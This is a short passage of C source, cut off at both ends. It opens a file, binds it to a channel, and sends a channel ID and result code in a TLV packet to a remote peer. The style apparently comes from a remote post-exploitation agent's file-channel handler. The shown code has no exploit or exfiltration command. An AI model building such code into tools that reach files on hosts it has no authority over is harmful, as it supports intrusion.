(!(ctx->fd = fopen(filePath, modeString)))) { res = (filePath) ? ERROR_FILE_NOT_FOUND : GetLastError(); break; } // Set the direct I/O handler for this channel to the file // channel direct I/O handler. channel_set_local_io_handler(newChannel, ctx, (DirectIoHandler)file_channel_dio_handler); // Add the channel identifier to the response packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); } while (0); // Transmit the packet if it's valid if (response) { packet_add_tlv_uint(response, TLV_TYPE_RESULT, res); packet_transmit(remote, response, NULL); } // Clean up on failure if (res != ERROR_SUCCESS) { if (newChannel) channel_destroy(newChannel); if (ctx) free(ctx); } return res; }